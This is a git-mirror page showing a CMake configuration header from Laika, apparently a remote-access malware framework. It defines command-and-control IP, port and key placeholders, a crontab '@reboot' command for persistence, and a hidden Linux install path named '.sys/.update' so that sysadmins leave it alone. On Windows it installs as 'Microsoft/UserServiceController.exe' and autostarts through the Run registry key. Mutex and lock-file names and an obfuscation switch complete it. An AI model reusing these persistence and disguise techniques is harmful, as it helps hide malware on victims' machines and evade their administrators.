1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-25 05:50:15 +00:00
Laika/lib/include/lconfig.h.in

48 lines
1.6 KiB
C
Raw Normal View History

#ifndef LAIKA_CONFIG_H
#define LAIKA_CONFIG_H
/* version info */
#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@
#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@
2022-04-06 06:07:16 +00:00
#define LAIKA_VERSION_COMMIT "@GIT_VERSION@"
/* keys */
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
#define LAIKA_CNC_IP "@LAIKA_CNC_IP@"
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */
#cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE
/* raw obfuscated strings */
2022-06-27 23:20:23 +00:00
/* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_LIN_INSTALL_DIR ".sys"
#define LAIKA_LIN_INSTALL_FILE ".update"
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
2022-06-27 23:20:23 +00:00
/* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
/* looks official enough */
#define LAIKA_WIN_INSTALL_DIR "Microsoft"
#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define LAIKA_WIN_REG_VAL "UserServiceController"
#define LAIKA_VM_CODESIZE 512
#endif